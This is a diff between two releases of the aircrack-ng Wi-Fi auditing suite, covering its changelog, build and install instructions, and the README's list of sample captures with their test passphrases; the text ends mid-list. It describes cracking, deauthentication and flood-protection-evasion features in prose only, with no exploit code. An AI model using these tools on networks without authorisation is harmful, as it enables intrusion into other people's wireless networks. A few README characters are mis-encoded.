+* Aircrack-ng: Allow using Hashcat HCCAPX files as input files.
+* Aircrack-ng: Fixed floating point exception due to division by 0 when displaying stats.
+* Aircrack-ng: Updated manpage regarding hex wordlist usage.
+* Aircrack-ng: Added save/restore session when cracking using wordlists (-N and -R).
+* Aircrack-ng: Moved crypto to its own library, aircrack-crypto/ (aka crypto engine).
+* Aircrack-ng: Now back to a single binary thanks to crypto-engine.
+* Aircrack-ng: Performance improvements of the crypto engine across various CPU architectures.
+* Aircrack-ng: Added support for AVX512 in the crypto-engine (and build).
+* Aircrack-ng: Improved building crypto-engine across CPU architectures and compilers (gcc, clang and ICC).
+* Aircrack-ng: Allow to list available SIMD optimizations.
+* Aircrack-ng: Improved benchmark tool for unusual CPU/cores count.
+* Airodump-ng: Fixed running in the background.
+* Airodump-ng: Don't show WPA handshake capture notice for out-of-scope ESSIDs.
+* Airodump-ng: Add --background 0/1 to force disable/enable background settings and override autodetection of background.
+* Airodump-ng: Added support for GCMP, GCMP-256 and CCMP-256.
+* Airolib-ng: Fixed importing data when interrupting process using Ctrl-C. 
+* dcrack: Check if dictionary and capture file exists before uploading them.
+* dcrack: Clean up dictionary before uploading it to the server.
+* dcrack: Gracefully stop and display errors instead of printing stacktrace whenever possible.
+* dcrack: Move temporary user files to /tmp and cleanup when done.
+* dcrack: Fixed displaying status when no clients are connected to the server.
+* dcrack: Validate uploaded PCAP and display success/failure.
+* dcrack: Improved removing BSSID.
+* WPAClean: Fixed crash with invalid prism2 header PCAP and added tests.
+* WPAClean: Don't create output file if no handshake are present or if input file is bad.
+* WPAClean: Fixed memory leak.
+* Airmon-ng: Fixed display of interface name if name is too long.
+* OSdep: Fixed memory leak and null pointer dereference.
+* OSdep: Fixed byteorder macros and other tools crashing.
+* OSdep: Added support to build as a shared library.
+* FreeRADIUS-WPE: Updated instructions for v3.0.17.
+* HostAPd-wpe: Added Response-Identity logging and displaying NETNTLM hash in hashcat format.
+* Airgraph-ng: Renamed dump-join to airodump-join.
+* General: Added coveralls.io badge.
+* General: Added --without-opt to disable stack protector when using GCC >= 4.9
+* General: Various improvements and fixes, some from Coverity Scan and Valgrind.
+* General: Fixed typos reported by codespell.
+* General: Extracted console functions and moved to aircrack-util/.
+* General: Renamed osdep/ to aircrack-osdep/.
+* General: Fixed and added functions prototypes and commented out unused functions.
+* General: Reformat source code using clang-format and added .clang-format file for IDE.
+* General: Improvements to AppVeyor and TravisCI builds
+* Building: Added NEON intrinsic support.
+* Building: Support paths containing spaces, during autoreconf.
+* Building: Fix compilation without getauxval in the trampoline binary.
+* Building: Fixed compiler warnings on Windows, FreeBSD.
+* Building: Fixes and documentation for OSX.
+* Building: Added support for tcmalloc and jemalloc.
+* Building: Added instruction to build Windows binaries with Airpcap.
+* Unit test: Using CMocka for some tests
+* Documentation: Updated explanations regarding building some experimental tools. 
+
+Version 1.2 (changes from aircrack-ng 1.2-rc5) - Released 15 Apr 2018:
+* General: Fixed compiling Windows binaries and updated README.md/INSTALLING.
+* General: Fixed commands to install dependencies on Debian/Ubuntu and FreeBSD.
+* General: Added command to install dependencies on Fedora/CentOS/RHEL.
+* General: Removed packages/ directory.
+* General: Added Alpine Linux and Kali Linux buildbots.
+* General: Fixed configure with --with-libpcap-include=/somewhere/include and --with-libpcap-lib=/somewhere/lib.
+* General: Fixed search for ethtool when running as a non-root user.
+* General: Various fixes.
+* Airmon-ng: Fixed mktemp on Alpine Linux.
+
+Version 1.2-rc5 (changes from aircrack-ng 1.2-rc4) - Released 03 Apr 2018:
+* General: Switching to autotools which allows compiling on more plateforms.
+* General: Updated README.md and INSTALLING files.
+* General: Fixed compilation on a lot of platforms.
+* General: Fixed compilation warnings across platforms and compilers.
+* General: Fixed typos in the tools and in manpages.
+* General: Replace %d/ld with %u/lu for unsigned printf parameters.
+* General: Added option to disable stack protector.
+* General: Improved makefile to get reproducible builds.
+* General: Fixed compilation with OpenSSL 1.1.0.
+* General: Updated radiotap parsing code.
+* General: Updated all URLs to use HTTPS.
+* General: Fixed compilation with libreSSL.
+* General: Added WPS 2.0 test PCAP.
+* General: Do not use stackguard on Windows.
+* General: Fixed warnings on GCC7.
+* General: Improved code quality using Coverity Scan.
+* General: Added badges for Coverity scan and Intel compiler buildbot
+* Aircrack-ng: Use trampoline binary to automatically select fastest executable depending on the CPU
+* Aircrack-ng: Fixed missing include for linecount.
+* Aircrack-ng: Fixed concurrency issues when reading multiple WEP PCAP.
+* Aircrack-ng: Added support for creating HCCAPx file format.
+* Airodump-ng: Get the channel from HT information.
+* Airodump-ng: Detect WPS 2.x.
+* Airodump-ng: Also check current directory for OUI file.
+* Airodump-ng: Fixed writing ESSID to CSV, Kismet CSV and Kismet NetXML files when ESSID gets decloaked and cloaked length was 1.
+* Aireplay-ng: Added deauthentication reason code option.
+* Aireplay-ng: Increase amount of AP to test when running injection test.
+* Airodump-ng: Fixed 802.11a channel hopping list.
+* Airodump-ng: Fix creation of .xor files.
+* Airodump-ng: Added support for HT channels (HT20/HT40-/HT40+).
+* Airodump-ng: Now displaying correct rate for 802.11n or 802.11ac AP.
+* Airmon-ng: Fixed checking for processes.
+* Airmon-ng: Fixed display of "cannot access '/sys/class/ieee80211/': No such file or directory".
+* Airmon-ng: Fixed bashisms.
+* Airmon-ng: Fixed display of specific drivers.
+* Airmon-ng: Fixed display of cards on the sdio bus.
+* Airmon-ng: Now supports nexmon driver on RPi 3 (and 0 Wireless) using Kali Linux.
+* Airmon-ng: Added identification for another realtek chipset and generic Ralink/MT.
+* Airmon-ng: Handle 2 types of rfkill commands and updated unblock text.
+* Airmon-ng: more portable modinfo usage.
+* Airmon-ng: remove grep -P references upon request.
+* Airmon-ng: Do not replace driver name by ?????? when driver is valid. 
+* Airgraph-ng: Removed irrelevant comment in README.
+* Airgraph-ng: Handle SSID with double quotes.
+* Airgraph-ng: Fixed parsing OUI file.
+* Airdrop-ng: Updated lorcon2 installation instructions.
+* Besside-ng: Fixed 'wi_read(): No child processes' error.
+* Airdecloak-ng: Fixed segfault due to NULL pointer dereference.
+* osdep: Remove wi_set_channel(1) on open wifi interface (cygwin).
+* osdep: Fixed RAW socket resource leak.
+* Patches: Created WPE patches and documentation for current HostAPd and Freeradius versions.
+* Airodump-ng: Fix incorrect if conditions which always are false.
+* Airodump-ng: Remove useless not NULL check.
+* Airventriloquist: New tool from https://github.com/Caesurus/airventriloquist/
+* dcrack: Fixed indentation.
+* TravisCI: Fixed compilation on OSX.
+* AppVeyor: Added support for AppVeyor, CI for cygwin builds.
+
 Version 1.2-rc4 (changes from aircrack-ng 1.2-rc3) - Released 14 Feb 2016:
 * Airodump-ng: Increase console window size.
 * Aircrack-ng: Added time remaining and percentage done when doing WPA cracking with a dictionary (file).
@@ -57,7 +209,7 @@
 * General: Fixed compilation with musl libc.
 * General: Improved testing and added test cases (make check).
 * General: Improved mutexes handling in various tools.
-* General: Fixed memory leaks, use afer free, null termination and return values in various tools and OSdep.
+* General: Fixed memory leaks, use after free, null termination and return values in various tools and OSdep.
 * General: Fixed compilation on FreeBSD.
 * General: Various fixes and improvements to README (wording, compilation, etc).
 * General: Updated copyrights in help screen.
@@ -144,7 +296,7 @@
 * Airmon-ng: Updated iw download link.
 * Airmon-ng: Better mac80211 handling.
 * Airmon-ng: Added detection for WiLink TI driver, rtl819xU, iwlwifi.
-* Airmon-zc: Improved version of Airmon-ng with more detailled information.
+* Airmon-zc: Improved version of Airmon-ng with more detailed information.
 * Airdecap-ng: Fixed decoding QoS frames (Closes: #667 and #858).
 * Airgraph-ng: Use Aircrack-ng Makefile instead of its own.
 * Airbase-ng: Fixed bug using clients list.
@@ -261,7 +413,7 @@
 * airdriver-ng: Updated r8187 patch.
 * aircrack-ng, airdecap-ng, ivstools, airodump-ng, airbase-ng, aireplay-ng, airtun-ng, packetforge-ng, tkiptun-ng: Added support for PPI captures support (Thanks to dragorn).
 * airdecap-ng: Fixed segfault on some capture files.
-* wesside-ng, easside-ng: "ERROR: Packet length changed while transmitting (XX instead of YY)" should finaly be fixed.
+* wesside-ng, easside-ng: "ERROR: Packet length changed while transmitting (XX instead of YY)" should finally be fixed.
 * All: Added compatibility file for functions like cpu_to_le32. That should fix compilation on a lot of OSes.
 * All: Temporary fix to allow compilation with recent gcc (Error message: "dereferencing type-punned pointer will break strict-aliasing rules"). I hope it doesn't break anything. A cleaner fix will be applied later.
 * INSTALLING: OSX patch for Intel CPU isn't required anymore
@@ -307,13 +459,13 @@
 * aircrack-ng: Fixed detection of the number of CPU (especially with recent CPUs).
 * aircrack-ng: Fixed long lasting WPA bugs: cannot find the key with SMP computers,
   wasn't exiting correctly, ...
-* aircrack-ng: Fixed usage of a dictionnary with WEP.
+* aircrack-ng: Fixed usage of a dictionary with WEP.
 * aircrack-ng: Now only display ASCII WEP keys when 100% of the hex key can be converted to ASCII.
 * aircrack-ng: You can now specify the number of threads for cracking even if you have a non-SMP computer.
 * aircrack-ng: Now output an error message if using -r and it wasn't compiled with sqlite support.
   It was a problem on some ubuntu.
 * airdecloak-ng: New tool to remove wep cloaked frames from a pcap file.
-  For more details see http://www.aircrack-ng.org/doku.php?id=airdecloak-ng
+  For more details see https://www.aircrack-ng.org/doku.php?id=airdecloak-ng
 * airodump-ng: Added kismet csv output support.
 * airodump-ng: Fixed power value display (for ath interface with a high number, more than 99).
 * airodump-ng: Can work on the new frequencies (allowed by frequency Chaos patch).
@@ -324,10 +476,10 @@
 * airtun-ng: Fixed STP conversion.
 * airolib-ng: Added sample database in test/ directory.
 * tkip-tun: New tool to inject on WPA1 with QoS enabled networks. Full description:
-  decrypt packets comming from the AP in a TKIP network, which uses QoS (ieee802.11e).
+  decrypt packets coming from the AP in a TKIP network, which uses QoS (ieee802.11e).
   It also breaks the MIC Key for sending packets towards the Client correctly encrypted and signed.
-  Stores plaintext packet and keystream in seperate files.
-* airbase-ng: Several improvments ( See http://trac.aircrack-ng.org/ticket/466 ).
+  Stores plaintext packet and keystream in separate files.
+* airbase-ng: Several improvements ( See https://github.com/aircrack-ng/aircrack-ng/issues/466 ).
 * airbase-ng: Added compatibility with some clients. added random source IPs and MACs for cfrag attack (-N) to evade simple flood protection.
 * airmon-ng: Fixed some 'unary operator expected' errors.
 * airmon-ng: Fixed channel number setting with mac80211 drivers.
@@ -359,7 +511,7 @@
 * patches: Added Defcon 16 patch (more frequencies than the usuals) for ath5k called frequency Chaos.
 * patches: Added injection patch for rtl8187 (mac80211).
 * patches: Added a universal mac80211 fragmentation and injection speed patch.
-* GUI (windows): Fixed: Windows GUI gives "please specify dictionnary".
+* GUI (windows): Fixed: Windows GUI gives "please specify dictionary".
 
 Version 1.0-rc1 (changes from aircrack-ng 1.0-beta2) - Released 09 Jun 2008:
 * airbase-ng: Multi-purpose tool aimed at attacking clients as opposed to the AP.
@@ -441,7 +593,7 @@
 * aircrack-ng: Added --ptw-debug to allow klein or ptw disabling
 * aircrack-ng: PTW: Starts a new process group
 * aircrack-ng: Increased PTW key checking speed by 20%
-* aircrack-ng: Try 1000 40bit keys befor starting 104bit cracking, to get the key "instantly" without waiting for 104 bit to fail
+* aircrack-ng: Try 1000 40bit keys before starting 104bit cracking, to get the key "instantly" without waiting for 104 bit to fail
 * aircrack-ng: Fixed not shown ascii keys, when found key was shorter than expected
 * aircrack-ng: Added visual inspection of the different keybytes (--visual-inspection).
 * airdecap-ng: Fixed bug in calc_pmk() function causes wrong PMK to be computed
@@ -457,7 +609,7 @@
 * aireplay-ng: Fixed seq field for fragment attack
 * aireplay-ng: Now works with rtc_cmos
 * aireplay-ng: Added automatic channel changing in --test to AP channel
-* aireplay-ng: Added channel synchonisation for --test between cards
+* aireplay-ng: Added channel synchronization for --test between cards
 * aireplay-ng: Added possibility to limit injection test to one AP "-a" or "-e"
 * aireplay-ng: Added BSSID/ESSID detection, so it can be enough to specify one option
 * makeivs-ng: Added parameters to set length, number and first IV of generated IVs
@@ -586,7 +738,7 @@
 * aireplay-ng: Added shared key authentication
 * airmon-ng: Now detect the shell when installing
 * airmon-ng: Added support for rtl8187
-* aircrack-ng: Added WEP dictionnary attack
+* aircrack-ng: Added WEP dictionary attack
 * aircrack-ng: Works with 802.11e QoS packets
 * airodump-ng: Added MAC filtering
 * airodump-ng: Now use the flaw in shared-key authentication
@@ -628,7 +780,7 @@
 * airmon-ng: Fixed: show newly created madwifi-ng VAP
 * airmon-ng: Should now works with 'ash' shell (Zaurus, OpenWRT, ...)
 * INSTALL: Added a note about warnings when compiling sources
-* INSTALL: Added more informations about installing aircrack-ng on windows
+* INSTALL: Added more information about installing aircrack-ng on windows
 * updated spec file
 * some other bugfixes
 * cygwin1.dll and msvcr70.dll are now included in windows package
@@ -708,9 +860,9 @@
 * aireplay-ng: typo fixed
 * aireplay-ng: Madwifi-ng is now supported
 * airodump-ng: disabled GPS coordinates if connection to gpsd fail
-* airodump-ng: Battery informations fixed (hacked kismet code)
+* airodump-ng: Battery information fixed (hacked kismet code)
 * airodump-ng: Madwifi-ng is now supported
-* aircrack-ng: corrrected title (when cracking a key)
+* aircrack-ng: corrected title (when cracking a key)
 * aircrack-ng: uses by default all CPU for cracking (Debian bug report #352877)
 * manpages: Fixed some errors (Debian bug report #356551)
 * manpages: created ivstools manpage

aircrack-ng-1.2-rc4.tar.gz/INSTALLING -> aircrack-ng-1.4.tar.gz/INSTALLING Changed

@@ -1,12 +1,19 @@
+== Building ==
+
 === Requirements ===
 
+ * Autoconf
+ * Automake
+ * Libtool
+ * shtool
  * OpenSSL development package or libgcrypt development package.
  * Airmon-ng (Linux) requires ethtool.
  * On windows, cygwin has to be used and it also requires w32api package.
- * Linux: LibNetlink 1 or 3. It can be disabled by setting the flag 'libnl' to false.
+ * On Windows, if using clang, libiconv and libiconv-devel
+ * Linux: LibNetlink 1 or 3. It can be disabled by passing --disable-libnl to configure.
  * pkg-config (pkgconf on FreeBSD)
  * FreeBSD, OpenBSD, NetBSD, Solaris and OS X with macports: gmake
- * Linux/Cygwin: make
+ * Linux/Cygwin: make and Standard C++ Library development package (Debian: libstdc++-dev)
 
 === Optional stuff ===
 
@@ -14,105 +21,272 @@
    (-essid-regex) pcre development package is required.
  * If you want to use airolib-ng and '-r' option in aircrack-ng,
    SQLite development package >= 3.3.17 (3.6.X version or better is recommended)
- * If you want to use Airpcap, the 'developer' directory from the CD is required.
- * For best performance on FreeBSD (50-70% more), install gcc5 via: pkg install gcc5
-          Then compile with: gmake CC=gcc5 CXX=g++5
+ * If you want to use Airpcap, the 'developer' directory from the CD/ISO/SDK is required.
+ * In order to build besside-ng, besside-ng-crawler, easside-ng, tkiptun-ng and wesside-ng,
+   libpcap development package is required (on Cygwin, use the Aircap SDK instead; see above)
+ * For best performance on FreeBSD (50-70% more), install gcc5 (or better) via: pkg install gcc7
  * rfkill
+ * For best performance on SMP machines, ensure the hwloc library and headers are installed. It is strongly recommended on high core count systems, it may give a serious speed boost
+
+=== Installing required and optional dependencies ===
+
+Below are instructions for installing the basic requirements to build
+`aircrack-ng` for a number of operating systems.
+
+Note: CMocka should not be a dependency when packaging Aircrack-ng.
+
+==== Linux ====
+
+===== Debian/Ubuntu =====
+
+    `sudo apt-get install build-essential autoconf automake libtool pkg-config libnl-3-dev libnl-genl-3-dev libssl-dev ethtool shtool rfkill zlib1g-dev libpcap-dev libsqlite3-dev libpcre3-dev libhwloc-dev libcmocka-dev`
+
+===== Fedora/CentOS/RHEL =====
+
+    `sudo yum install libtool pkgconfig sqlite-devel autoconf automake openssl-devel libpcap-devel pcre-devel rfkill libnl3-devel gcc gcc-c++ ethtool hwloc-devel libcmocka-devel`
+
+==== FreeBSD ====
+
+    `pkg install pkgconf shtool libtool gcc7 automake autoconf pcre sqlite3 openssl gmake hwloc cmocka`
+
+==== OSX ====
+
+XCode, Xcode command line tools and HomeBrew are required.
+
+    `brew install autoconf automake libtool openssl shtool pkg-config hwloc pcre sqlite3 libpcap cmocka`
+
+==== Windows ====
+
+===== Cygwin =====
+
+Cygwin requires the full path to the `setup.exe` utility, in order to
+automate the installation of the necessary packages. In addition, it
+requires the location of your installation, a path to the cached
+packages download location, and a mirror URL.
+
+An example of automatically installing all the dependencies
+is as follows:
+
+    `c:\cygwin\setup-x86.exe -qnNdO -R C:/cygwin -s http://cygwin.mirror.constant.com -l C:/cygwin/var/cache/setup -P autoconf -P automake -P bison -P gcc-core -P gcc-g++ -P mingw-runtime -P mingw-binutils -P mingw-gcc-core -P mingw-gcc-g++ -P mingw-pthreads -P mingw-w32api -P libtool -P make -P python -P gettext-devel -P gettext -P intltool -P libiconv -P pkg-config -P git -P wget -P curl -P libpcre-devel -P openssl-devel -P libsqlite3-devel`
+
+
+===== MSYS2 =====
+
+    `pacman -Sy autoconf automake-wrapper libtool msys2-w32api-headers msys2-w32api-runtime gcc pkg-config git python openssl-devel openssl libopenssl msys2-runtime-devel gcc binutils make pcre-devel libsqlite-devel`
 
 === Compiling ===
 
+To build `aircrack-ng`, the Autotools build system is utilized. Autotools replaces
+the older method of compilation.
+
+NOTE: If utilizing a developer version, eg: one checked out from source control,
+you will need to run a pre-`configure` script. The script to use is one of the
+following: `autoreconf -i` or `env NOCONFIGURE=1 ./autogen.sh`.
+
+First, `./configure` the project for building with the appropriate options specified
+for your environment:
+
+    `./configure <options>`
+
+TIP: If the above fails, please see above about developer source control versions.
+
+Next, compile the project (respecting if `make` or `gmake` is needed):
+
  * Compilation:
-    make
+
+    `make`
 
  * Compilation on *BSD or Solaris:
-    gmake
 
- * Strip debugging symbols:
-    make strip
+    `gmake`
+
+Finally, the additional targets listed below may be of use in your environment:
+
+ * Execute all unit testing:
+
+    `make check`
 
  * Installing:
-    make install
+
+    `make install`
 
  * Uninstall:
-    make uninstall
 
-==== Makefile flags ====
+    `make uninstall`
+
 
-When compile and installing, the following flags can be used and combined
-to compile and install the suite (by setting them to true):
+====  `./configure` flags ====
 
-* sqlite:   Compile airolib-ng and add support for airolib-ng databases
-            in aircrack-ng:
-            - Debian based distro: libsqlite3-dev
-            - FreeBSD: sqlite3
+When configuring, the following flags can be used and combined to adjust the suite
+to your choosing:
 
-* airpcap:  needed for supporting airpcap devices on windows (cygwin only)
-            REQUIREMENT: Copy 'developers' directory from Airpcap CD one 
-                         level below this INSTALLING file
-            Note: Not working yet.
+* with-airpcap=DIR:  needed for supporting airpcap devices on windows (cygwin or msys2 only)
+                Replace DIR above with the absolute location to the root of the
+                extracted source code from the Airpcap CD or downloaded SDK available
+                online. Required on Windows to build besside-ng, besside-ng-crawler, 
+                easside-ng, tkiptun-ng and wesside-ng when building experimental tools.
+                The developer pack (Compatible with version 4.1.1 and 4.1.3) can be downloaded at
+                https://support.riverbed.com/content/support/software/steelcentral-npm/airpcap.html
 
-* experimental: needed to compile tkiptun-ng, easside-ng (and buddy-ng),
-                wesside-ng and besside-ng.
-                Building besside-ng-crawler requires LibPCAP (development package).
-                On Debian based distributions: libpcap-dev
+* with-experimental: needed to compile tkiptun-ng, easside-ng, buddy-ng, buddy-ng-crawler,
+                    airventriloquist and wesside-ng. libpcap development package is also
+                    required to compile most of the tools.
+                    If not present, not all experimental tools will be built.
+                    On Cygwin, libpcap is not present and the Airpcap SDK replaces it.
+                    See --with-airpcap option above.
 
-* ext_scripts: needed to build airoscript-ng, versuck-ng, airgraph-ng and 
-            airdrop-ng. 
-            Note: Experimental. Each script has its own dependences.
-            Note: It's only required in install phase.
+* with-ext-scripts: needed to build `airoscript-ng`, `versuck-ng`, `airgraph-ng` and 
+                   `airdrop-ng`. 
+                   Note: Each script has its own dependencies.
 
-* gcrypt:   Use libgcrypt crypto library instead of the default OpenSSL.
-            And also use internal fast sha1 implementation (borrowed from GIT)
-            Dependency (Debian): libgcrypt20-dev
+* with-gcrypt:   Use libgcrypt crypto library instead of the default OpenSSL.
+                And also use internal fast sha1 implementation (borrowed from GIT)
+                Dependency (Debian): libgcrypt20-dev
 
-* libnl:    Add support for netlink (nl80211). Linux only. Requires libnl1 OR libnl3.
-            Enabled by default. Dependencies (debian):
-		LibNL 1: libnl-dev 
-		LibNL 3: libnl-3-dev and libnl-genl-3-dev.
+* with-duma:	Compile with DUMA support. DUMA is a library to detect buffer overruns and under-runs.
+            	Dependencies (debian): duma
 
-* pcre:	    Add support for regular expression matching for ESSID in airodump-ng and besside-ng.
-            Dependencies:
-            - Debian based distro: libpcre3-dev
-            - FreeBSD: pcre
+* disable-libnl:  Set-up the project to be compiled without libnl (1 or 3). Linux option only.
 
-* duma:     Compile with DUMA support. DUMA is a library to detect buffer overruns and under-runs.
-            Dependencies (debian): duma
+* without-opt:  Do not enable stack protector (on GCC 4.9 and above).
 
-* xcode:    Set this flag to true to compile on OS X with Xcode 7+.
+* enable-shared:   Make a OSdep a shared library.
 
-* macport:  Set this flag to true to compile on OS X with macports.
+* disable-shared: When combined with enable-static, it will statically compile Aircrack-ng.
 
-Example:
+* with-avx512:  On x86, add support for AVX512 instructions in aircrack-ng. Only use it when
+                the current CPU supports AVX512.
 
-  * Compiling:
-    make sqlite=true experimental=true pcre=true
+* with-static-simd=<SIMD>: Compile a single optimization in aircrack-ng binary. Useful when compiling
+                    statically and/or for space-constrained devices. Valid SIMD options: x86-sse2,
+                    x86-avx, x86-avx2, x86-avx512, ppc-altivec, ppc-power8, arm-neon, arm-asimd
+                    Must be used with --enable-static --disable-shared. When using those 2 options, the default
+                    is to compile the generic optimization in the binary. --with-static-simd merely allows
+                    to choose another one.
 
-  * Compiling with gcrypt
-    make gcrypt=true
+===== Examples =====
+
+  * Configure and compiling:
+
+    `./configure --with-experimental`
+    `make`
+
+  * Compiling with gcrypt:
+
+    `./configure --with-gcrypt`
+    `make`
 
   * Installing:
-    make sqlite=true pcre=true experimental=true install
+
+    `make install`
+
+  * Installing (strip binaries):
+  
+    `make install-strip`
 
   * Installing, with external scripts:
-    make sqlite=true pcre=true experimental=true ext_scripts=true
+
+    `./configure --with-experimental --with-ext-scripts`
+    `make`
+    `make install`
 
   * Testing (with sqlite, experimental and pcre)
-    make sqlite=true experimental=true pcre=true check
+
+    `./configure --with-experimental`
+    `make`
+    `make check`
 
   * Compiling on OS X with macports (and all options):
-    gmake macport=true sqlite=true experimental=true pcre=true
+
+    `./configure --with-experimental`
+    `gmake`
+
+  * Compiling on OS X 10.10 with XCode 7.1 and Homebrew:
+
+    `env CC=gcc-4.9 CXX=g++-4.9 ./configure`
+    `make`
+    `make check`
+
+    *NOTE*: Older XCode ships with a version of LLVM that does not support CPU feature
+    detection; which causes the `./configure` to fail. To work around this older LLVM,
+    it is required that a different compile suite is used, such as GCC or a newer LLVM
+    from Homebrew.
+
+    If you wish to use OpenSSL from Homebrew, you may need to specify the location
+    to its' installation. To figure out where OpenSSL lives, run:
+
+    `brew --prefix openssl`
+
+    Use the output above as the DIR for `--with-openssl=DIR` in the `./configure` line:
+
+    `env CC=gcc-4.9 CXX=g++-4.9 ./configure --with-openssl=DIR`
+    `make`
+    `make check`
 
   * Compiling on FreeBSD with better performance
-    gmake CC=gcc5 CXX=g++5
 
-=== Using precompiled binaries ===
+    `env CC=gcc7 CXX=g++7 ./configure`
+    `gmake`
+
+  * Compiling on Cygwin with Airpcap (assuming Airpcap devpack is unpacked in Aircrack-ng directory)
+
+    ```
+    cp -vfp Airpcap_Devpack/bin/x86/airpcap.dll src
+    cp -vfp Airpcap_Devpack/bin/x86/airpcap.dll src/aircrack-osdep
+    cp -vfp Airpcap_Devpack/bin/x86/airpcap.dll src/aircrack-crypto
+    cp -vfp Airpcap_Devpack/bin/x86/airpcap.dll src/aircrack-util
+    dlltool -D Airpcap_Devpack/bin/x86/airpcap.dll -d build/airpcap.dll.def -l Airpcap_Devpack/bin/x86/libairpcap.dll.a
+    autoreconf -i
+    ./configure --with-experimental --with-airpcap=$(pwd)
+    make
+    ```
+
+== Packaging ==
+
+Automatic detection of CPU optimization is done at run time. This behavior
+**is** desirable when packaging Aircrack-ng (for a Linux or other distribution.)
+
+Also, in some cases it may be desired to provide your own flags completely and
+not having the suite auto-detect a number of optimizations. To do this, add
+the additional flag `--without-opt` to the `./configure` line:
+
+`./configure --without-opt`
+
+== Using precompiled binaries ==
+
+=== Linux/BSD ===
+
+* Use your package manager to download aircrack-ng
+* In most cases, they have an old version.
+* Packages (DEB and RPM) built from current git master are available on PackageCloud: https://packagecloud.io/aircrack-ng/git
+
+=== Windows ===
 
-Linux/BSD:
- * Use your package manager to download aircrack-ng
- * In most cases, they have an old version.
- 
-Windows:
  * Install the appropriate "monitor" driver for your card (standard drivers doesn't work for capturing data).
  * aircrack-ng suite is command line tools. So, you have to open a commandline
-   (Start menu -> Run... -> cmd.exe) then use them
+   `Start menu -> Run... -> cmd.exe` then use them
  * Run the executables without any parameters to have help
+
+== Continous integration ==
+
+Travis (Linux/Mac): https://travis-ci.org/aircrack-ng/aircrack-ng
+AppVeyor: https://ci.appveyor.com/project/aircrack-ng/aircrack-ng
+Coverity Scan: https://scan.coverity.com/projects/aircrack-ng
+
+=== Buildbots ===
+
+URL: https://buildbot.aircrack-ng.org/
+
+Current buildbots:
+- Intel Compiler
+- Alpine Linux
+- Kali Linux
+- Armel Kali Linux
+- Armhf Kali Linux
+- FreeBSD
+
+== Documentation ==
+
+Documentation, tutorials, ... can be found on https://www.aircrack-ng.org
+
+See also manpages and the forum.

aircrack-ng-1.2-rc4.tar.gz/LICENSE -> aircrack-ng-1.4.tar.gz/LICENSE Changed

aircrack-ng-1.4.tar.gz/Makefile.am Added

@@ -0,0 +1,49 @@
+# Aircrack-ng
+#
+# Copyright (C) 2017 Joseph Benden <joe@benden.us>
+#
+# Autotool support was written by: Joseph Benden <joe@benden.us>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+#
+# In addition, as a special exception, the copyright holders give
+# permission to link the code of portions of this program with the
+# OpenSSL library under certain conditions as described in each
+# individual source file, and distribute linked combinations
+# including the two.
+#
+# You must obey the GNU General Public License in all respects
+# for all of the code used other than OpenSSL.
+#
+# If you modify file(s) with this exception, you may extend this
+# exception to your dnl version of the file(s), but you are not obligated
+# to do so.
+#
+# If you dnl do not wish to do so, delete this exception statement from your
+# version.
+#
+# If you delete this exception statement from all source files in the
+# program, then also delete it here.
+
+ACLOCAL_AMFLAGS = -I build/m4/stubs -I build/m4
+
+SUBDIRS = manpages \
+		  scripts \
+		  src \
+		  test
+
+
+@CODE_COVERAGE_RULES@
+

aircrack-ng-1.2-rc4.tar.gz/README -> aircrack-ng-1.4.tar.gz/README Changed

@@ -1,10 +1,10 @@
-Documentation, tutorials, ... can be found on http://www.aircrack-ng.org
+Documentation, tutorials, ... can be found on https://www.aircrack-ng.org
 See also manpages and the forum.
 
 Installing
 ==========
 
-This version now requires more libraries than 0.X versions to be compiled. 
+This version has more dependencies/libraries required than previous versions to be compiled. 
 See INSTALLING file for more information
 
 OpenWrt Devices
@@ -43,7 +43,7 @@
 		  
 	
 	Problem 4: When creating a new VAP airodump-ng takes up to 10-15 seconds to see the first packet
-	Solution 4: It's the behaviour of madwifi-ng, don't worry (... be happy ;)).
+	Solution 4: It's the behavior of madwifi-ng, don't worry (... be happy ;)).
 
 
 	Orinoco
@@ -67,7 +67,7 @@
 	----------
 
 	Problem: On windows only, opening/creating a database doesn't work when airolib-ng is in directories containing
-	         special characters like 'ç', 'é', 'è', 'à', ... (directories containing spaces are not affected).
+	         special characters like 'Ã§', 'Ã©', 'Ã¨', 'Ã ', ... (directories containing spaces are not affected).
 	Reason: It's a SQLite issue.
 	Solution: Rename the directory or move the database into another directory.
 
@@ -94,9 +94,6 @@
 
 	Cygwin
 	------
-	
-	Problem: Aircrack-ng doesn't build on Cygwin64
-	Solution: None at this time. Build it using 32 bit cygwin.
 
 	Problem: /usr/include/sys/reent.h:14:20: fatal error: stddef.h: No such file or directory
 	Solution: It happens because the gcc and g++ version are different. Make sure they are the same.
@@ -125,7 +122,7 @@
     This is a 128 bit WEP key file.
     The key is AE:5B:7F:3A:03:D0:AF:9B:F6:8D:A5:E2:C7.
 
-ptw.cap (http://dl.aircrack-ng.org/ptw.cap): 
+wep_64_ptw.cap (http://dl.aircrack-ng.org/ptw.cap): 
     This is a 64 bit WEP key file suitable for the PTW method.
     The key is '1F:1F:1F:1F:1F'.
 
@@ -137,9 +134,12 @@
     This is a sample file with a WPA2 handshake along with some encrypted packets.
     Useful for testing with airdecap-ng. The password is 'dictionary'.
 
-password.lst
+wps2.0.pcap:
+    This is a test file with WPS 2.0 beacon.
+
+password.lst and password-2.lst:
     This is a sample wordlist for WPA key cracking. More wordlists can be found at
-    http://www.aircrack-ng.org/doku.php?id=faq#where_can_i_find_good_wordlists
+    https://www.aircrack-ng.org/doku.php?id=faq#where_can_i_find_good_wordlists
 
 password.db
     This is a sample airolib-ng database for WPA key cracking.
@@ -152,3 +152,21 @@
 
 verify_inject.py
     Testing DNS requests using airtun-ng.
+
+n-02.cap:
+    This is a test file with 802.11X-2004 AES-128-CMAC handshake.
+    Useful for testing with aircrack-ng. The password is 'bo$$password'.
+
+test-pmkid.pcap:
+    This is a test file with PMKID. Passphrase for 'WLAN-771698' is 'SP-91862D361'
+
+test1.pcap:
+    This is another test file with PMKID. Passphrase for the network
+    'ogogo' is '15211521'
+
+StayAlfred.hccapx:
